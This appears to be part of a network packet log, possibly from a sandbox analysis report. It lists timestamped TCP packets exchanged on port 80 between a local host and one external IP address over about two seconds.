Oct 29, 2021 15:32:13.634593964 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634609938 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634624958 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634633064 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634649038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634660006 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634673119 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634689093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634704113 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634713888 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634728909 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634744883 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634752989 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634769917 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634785891 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634793997 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634809017 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634824038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634834051 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634850025 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634865046 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634874105 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634888887 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634896994 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634912968 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634928942 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634944916 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634953022 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.634968042 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634983063 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.634991884 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.635006905 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.635021925 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.635030985 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.635046005 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.635061026 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.635071039 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.635102034 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.680198908 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680228949 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680242062 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680253983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680321932 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680387020 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.680525064 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680541992 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680557966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680573940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.680584908 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.680617094 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.738676071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.913158894 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959559917 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959594965 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959606886 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959619045 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959631920 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959649086 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959666014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959682941 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959698915 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959716082 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959733009 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959748030 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959774971 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959793091 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959800005 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959819078 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959836006 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959846973 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959860086 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959875107 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959884882 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959899902 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959916115 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959938049 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959953070 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.959960938 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959976912 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.959992886 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960001945 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960016966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960032940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960042000 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960057020 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960072041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960088015 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960098028 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960110903 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960119963 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960134983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960150957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960161924 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960175037 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960191011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960207939 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960218906 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960231066 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960246086 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960258961 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960283041 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960362911 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960422993 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960433006 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960448980 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960464001 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960479021 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960488081 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960503101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960517883 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960532904 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960542917 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960557938 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960573912 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960587978 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960601091 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960612059 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960621119 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960634947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:13.960644007 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:13.960700989 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.006706953 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006740093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006751060 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006762981 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006884098 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006895065 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.006917000 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006933928 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006944895 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.006959915 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.006972075 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.006984949 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007000923 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007015944 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007025957 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007041931 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007057905 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007071018 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007086992 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007102966 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007118940 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007138014 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007139921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007209063 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007299900 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007317066 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007397890 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007420063 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007438898 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007453918 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007468939 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007484913 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007502079 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007513046 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007528067 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007544041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007558107 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007574081 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007581949 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007597923 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007606983 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007616997 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007633924 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007648945 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007664919 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007677078 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007693052 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007709026 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007726908 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007736921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007740021 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007747889 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007760048 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007771969 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007783890 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007801056 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.007847071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.007885933 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.009325981 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.009352922 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.009371042 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.009387970 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.009418011 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.009459972 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.053318024 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053349972 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053363085 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053379059 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053391933 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053452969 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053469896 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053487062 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.053500891 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.053570986 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.190165043 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.236799955 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236831903 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236845016 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236876011 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236893892 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236911058 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236927032 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236939907 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236958027 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.236967087 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.236989021 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237004042 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237020016 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237030983 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237046003 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237065077 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237083912 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237090111 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237106085 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237121105 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237129927 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237145901 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237163067 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237170935 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237186909 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237195015 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237210989 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237226009 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237241983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237251043 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237266064 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237282038 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237288952 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237304926 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237320900 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237328053 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237344027 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237353086 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237368107 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237384081 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237399101 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237409115 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237423897 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237440109 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237445116 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237458944 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237473965 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237482071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237497091 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237513065 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237520933 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237535954 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237550974 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237559080 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237574100 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237588882 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237597942 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237613916 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237629890 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237637997 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237653017 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237663984 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237677097 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237692118 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237706900 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237728119 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237734079 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237750053 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.237757921 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.237787008 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.536196947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.577254057 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.887109041 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:14.887391090 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.968576908 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:14.969206095 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.014909029 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.014940023 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.014949083 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015110970 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015273094 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015317917 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015336990 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015357018 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015378952 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015399933 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015413046 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015430927 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015445948 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015455008 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015470982 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015489101 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015512943 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015554905 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015572071 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015588999 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015607119 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015629053 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015645027 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015680075 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015687943 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015723944 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015744925 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015764952 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015775919 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015799999 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015808105 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015831947 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015851974 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015872002 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015888929 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015901089 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015922070 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015938044 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.015952110 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015974998 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.015983105 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016000032 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016012907 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016022921 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016037941 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016052961 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016067028 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016076088 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016088963 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016103983 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016113043 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016124964 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016139984 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016148090 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016161919 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016169071 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016184092 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016197920 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016206980 CEST	49863	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:32:15.016220093 CEST	80	49863	194.180.174.181	192.168.2.7
Oct 29, 2021 15:32:15.016235113 CEST	80	49863	194.180.174.181	192.168.2.7
